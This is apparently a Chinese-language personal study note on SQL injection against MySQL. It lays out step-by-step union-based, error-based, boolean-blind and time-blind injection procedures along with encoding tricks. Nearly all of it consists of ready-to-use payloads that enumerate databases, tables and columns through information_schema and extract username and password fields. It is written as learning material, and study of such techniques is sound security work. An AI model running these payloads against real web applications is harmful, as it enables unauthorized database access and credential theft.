sql注入也学习了很久了,一直没有做总结。为了方便自己记忆回顾或者使用,还是需要写一下。不对的地方,请各位师傅指正。
0X01.联合查询流程
1.判断列数
order by N
2.判断回显位置
union select 1,2,3,...N
3.获取当前数据库
union select 1,2,database(),4
或者查询information_schema数据库的schemata表,从得到的结果来确定当前的数据库
union select 1,2,group_concat(SCHEMA_NAME),4 from information_schema.schemata
4.查询当前数据库中有哪些表
从information_schema库中tables表
union select 1,2,group_concat(table_NAME),4 from information_schema.tables where table_schema=’数据库名’
5.查询当前数据库中对应表的字段名或者列名
从information_schema库中columns表
union select 1,2,group_concat(column_NAME),4 from information_schema.columns where table_name='表名' and table_schema='数据库名'
6.查询字段的内容
union select 1,2,group_concat(name,'-',passwd),4 from 数据库.表
0X02.报错注入流程
1.寻找注入点
测试payload:',",' ",' ")
出现详细的报错语句时,则可使用报错注入
2.使用报错函数构造报错注入语句
常见的报错函数:
floor()
extractvalue()
updatexml()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()
测试例子:
查询当前数据库
and extractvalue(1,concat(0x7e,(select database()),0x7e))
后续的过程就根据联合查询来
查当前数据库表名
and extractvalue(1,concat(0x7e,(select group_concat(table_NAME) from information_schema.tables where table_schema='库名'),0x7e))
查对应表的字段名
and extractvalue(1,concat(0x7e,(select group_concat(column_NAME) from information_schema.columns where table_schema='库名' and table_name='表名'),0x7e))
查字段内容
and extractvalue(1,concat(0x7e,(select group_concat(name,'---',passwd) from 库名.表名),0x7e))
0X03.布尔盲注流程
1.寻找注入点
and 1=1
and 1=2
根据结果是否不同,判断是否具有布尔型盲注
2.判断库名长度
and length(database())=1
可以用二分法,也可以用burp
3.判断数据库库名
and substr(database(),1,1)=’X’
使用burp进行爆破,1表示库名的第几位,X表示库名的组成
substr()也可以换成mid(),下面也是
4.确定数据库中的表的数量
and ((select count(table_name)from information_schema.tables where table_schema='库名'))>9
还是使用二分法
5.确定表名
and substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),6,1)='m'
第一个表示库中的第几个表
第二个表示表名中第几个字母
第三个就是表名中可能出现的字母
6.确定表中的字段数量
and ((select count(column_name)from information_schema.columns where table_schema='库名' and table_name='表名'))>4
7.确定字段名
and substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),1,1)='m'
8.确定字段内容
and substr((select group_concat(name,'-',passwd) from 库名.表名 limit 0,1),1,1)='a'
还可以在截断函数外加编码ascii()/ord()/hex(),或者查询的时候使用模糊匹配like,正则表达式regexp'^a'
0X04.时间盲注流程
时间盲注和布尔盲注很像,但表现形式不同,时间盲注主要依靠sleep()函数,当页面出现sleep()中设置的时间延迟时,则具有时间盲注
1.判断注入点
and sleep(5)
出现对应延迟则具备时间盲注
2.判断数据库长度,判断过程与布尔盲注类似,不过多加了if()
and if(length(database())=’6’, sleep(3),1)
3.判断数据库库名
and if(substr(database(),1,1)=’X’, sleep(3),1)
4.判断库中表的数量
and if(((select count(table_name)from information_schema.tables where table_schema='库名'))>9,sleep(3),1)
5.判断表名
and if(substr((select table_name from information_schema.tables where table_schema='510cms' limit 0,1),6,1)="m",sleep(3),1)
0表示偏移即第几个表,6表示第几个字母,m表示表名的组成
6.确定表中的字段数量
and if((select count(column_name)from information_schema.columns where table_schema='库名' and table_name='表名')>4,sleep(3),1)
7.确定字段名
and if(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),1,1)='i',sleep(3),1)
8.确定字段内容
and if(substr((select group_concat(name,'-',passwd) from 库名.表名 limit 0,1),1,1)='a',sleep(3),1)
0X05.一些报错
1 联合查询中出现报错:Illegal mix of collations for operation 'UNION'
解决方法:用convert()进行编码转换
union select 1,2,group_concat(convert(SCHEMA_NAME using latin1 )),4 from information_schema.schemata
0x06.编码技巧
有时可以将表名,字段名,数据库名进行编码从而注入
如admin通过hex编码生成0x61646d696e
或者用ASCll编码则表示为CHAR(97, 100, 109, 105, 110)